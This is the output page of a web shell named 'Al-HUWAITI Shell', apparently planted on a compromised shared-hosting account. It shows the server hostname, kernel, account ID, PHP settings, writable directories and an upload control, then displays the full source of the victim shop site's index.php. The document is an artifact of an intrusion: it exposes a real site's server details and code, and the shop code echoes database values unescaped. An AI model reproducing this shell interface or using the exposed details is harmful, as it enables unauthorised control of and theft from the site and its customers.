Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux us-phx-web1202.main-hosting.eu 4.18.0-553.84.1.lve.el8.x86_64 #1 SMP Tue Nov 25 18:33:03 UTC 2025 x86_64
User : u615232177 ( 615232177)
PHP Version : 8.1.33
Disable Function : NONE
Directory :  /home/u615232177/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u615232177/public_html/index.php
<?php
session_start();
$page_name = basename($_SERVER['PHP_SELF']); 
include("header.php"); ?>
<title><?php echo $company_name; ?> - Home</title>
<div class="col-md-12 col-xs-12" id="product_msg"></div>
    <!-- Start Slider -->
    <div id="slides-shop" class="cover-slides">
        <ul class="slides-container">
<?php 
$one=1;
$stmt = $con -> prepare('SELECT * FROM picture_slider');
$stmt -> execute(); 
$stmt -> store_result(); 
$stmt -> bind_result($home_id,$home_heading,$home_heading2,$home_paragraph,$home_picture); 
$numrows = $stmt -> num_rows();
if($numrows > 0){
while ($stmt -> fetch()) { 
?>
            <li class="text-center homeslider">
                <img src="<?php echo $admin_no; ?>/assets/img/home_background/<?php echo $home_picture; ?>" alt="" style=''>
                <div class="container">
                    <div class="row">
                        <div class="col-md-12 slider_para">
                            <h1 class="m-b-10"><strong><?php echo $home_heading; ?> <br> <?php echo $home_heading2; ?></strong></h1>
                            <p class="m-b-40"><?php echo $home_paragraph; ?></p>
                            <p><a class="btn hvr-hover" href="shop.php">Shop New</a></p>
                        </div>
                    </div>
                </div>
            </li>
<?php } } ?>
            
        </ul>
        <div class="slides-navigation">
            <a href="#" class="next"><i class="fa fa-angle-right" aria-hidden="true"></i></a>
            <a href="#" class="prev"><i class="fa fa-angle-left" aria-hidden="true"></i></a>
        </div>
    </div>
    <!-- End Slider -->

   

    <!-- Start Products  -->
    <div class="products-box">
        <div class="container">
            <div class="row">
                <div class="col-lg-12">
                    <div class="title-all text-center">
                        <h1>Featured Categories</h1>
                        <p>Browse through our featured products and top categories</p>
                    </div>
                </div>
            </div>
            <div class="row">
                <div class="col-lg-12">
                    <div class="special-menu text-center">
                        <div class="button-group filter-button-group">
                            <button class="active" data-filter="#home_product">TOP FEATURED</button>
<script>
    function show_tab() { 
        const element = document.querySelector(".category_tab"); 
        const value = window.getComputedStyle(element)
        .getPropertyValue('display');
        
        if(value == "none"){
           const tabs = document.getElementsByClassName("category_tab");
           for (const tab of tabs) {
                tab.style.display = 'block';
            }
        }
    } 
</script>
<?php 
 $array_feat_cat = [];
$yes="Yes";$three = 3;
$stmt_ca = $con -> prepare('SELECT * FROM categories WHERE featured = ? ORDER BY RAND() LIMIT ?');
$stmt_ca -> bind_param('si',$yes,$three);
$stmt_ca -> execute(); 
$stmt_ca -> store_result();
$stmt_ca -> bind_result($cat_idd,$cat_titlee,$h2,$h1); 
$numrows_ca = $stmt_ca -> num_rows();
if($numrows_ca > 0){
while ($stmt_ca -> fetch()) { 
     //get array of available categories
     array_push($array_feat_cat,$cat_idd);
?>

<button onClick='show_tab()' data-filter=".a<?php echo $cat_idd; ?>"><?php echo $cat_titlee; ?></button>

<?php } } ?>
                            
                        </div>
                    </div>
                </div>
            </div>

            <div class="row special-list">
<?php 
$yes="Yes";$eight = 8;
$stmt_caa = $con -> prepare('SELECT * FROM products WHERE home_products = ? ORDER BY RAND() LIMIT ?');
$stmt_caa -> bind_param('si',$yes,$eight);
$stmt_caa -> execute(); 
$stmt_caa -> store_result();
$stmt_caa -> bind_result($product_id,$product_cat,$product_brand,$product_title,$product_price,$product_desc,$product_image,$product_keywords,$old_price,$new_tag,$home_products,$tags,$in_stock,$featured,$picture2,$picture3,$picture4,$picture5,$picture6); 
$numrows_caa = $stmt_caa -> num_rows();
if($numrows_caa > 0){
while ($stmt_caa -> fetch()) { 
    //calculate the rating of each product
    $stmt_reviews = $con -> prepare('SELECT rating FROM product_reviews WHERE product_id = ?');
    $stmt_reviews -> bind_param('s',$product_id);
    $stmt_reviews -> execute(); 
    $stmt_reviews -> store_result();
    $stmt_reviews -> bind_result($product_rating); 
    $numrows_reviews = $stmt_reviews -> num_rows();
    if($numrows_reviews > 0){
        $total_rating = array();
        while ($stmt_reviews -> fetch()) {
            array_push($total_rating,$product_rating);
        }
        $all_ratings = array_sum($total_rating);
        $average_rating = $all_ratings / $numrows_reviews;
        $rounded_up = round($average_rating);
        $rating_display = " &nbsp;$rounded_up / 5";
    }
    else{$rating_display = "";$rounded_up = 0;}

?>
                <div class="col-lg-3 col-md-6 special-grid" id="home_product">
                    <?php include("product_featured.php"); ?>
                </div>
<?php }} ?>
</div>

<div class="row special-list category_tab">
<?php
foreach ($array_feat_cat as $value) {
  
$yes="Yes";
$stmt_caaa = $con -> prepare('SELECT * FROM products WHERE product_cat = ? ORDER BY RAND() LIMIT ?');
$stmt_caaa -> bind_param('si',$value,$eight);
$stmt_caaa -> execute(); 
$stmt_caaa -> store_result();
$stmt_caaa -> bind_result($product_id,$product_cat,$product_brand,$product_title,$product_price,$product_desc,$product_image,$product_keywords,$old_price,$new_tag,$home_products,$tags,$in_stock,$featured,$picture2,$picture3,$picture4,$picture5,$picture6); 
$numrows_caaa = $stmt_caaa -> num_rows();
if($numrows_caaa > 0){
while ($stmt_caaa -> fetch()) {
    //calculate the rating of each product
    $stmt_reviews = $con -> prepare('SELECT rating FROM product_reviews WHERE product_id = ?');
    $stmt_reviews -> bind_param('s',$product_id);
    $stmt_reviews -> execute(); 
    $stmt_reviews -> store_result();
    $stmt_reviews -> bind_result($product_rating); 
    $numrows_reviews = $stmt_reviews -> num_rows();
    if($numrows_reviews > 0){
        $total_rating = array();
        while ($stmt_reviews -> fetch()) {
            array_push($total_rating,$product_rating);
        }
        $all_ratings = array_sum($total_rating);
        $average_rating = $all_ratings / $numrows_reviews;
        $rounded_up = round($average_rating);
        $rating_display = " &nbsp;$rounded_up / 5";
    }
    else{$rating_display = "";$rounded_up = 0;}
?>
                <div class="col-lg-3 col-md-6 special-grid a<?php echo $value; ?>">
                    <?php include("product.php"); ?>
                </div>
<?php }
} 
} ?>
            </div>
        </div>
    </div>
    <!-- End Products  -->

   

    <?php include("ig_feed.php"); ?> 

<?php include("footer.php"); ?>

Al-HUWAITI Shell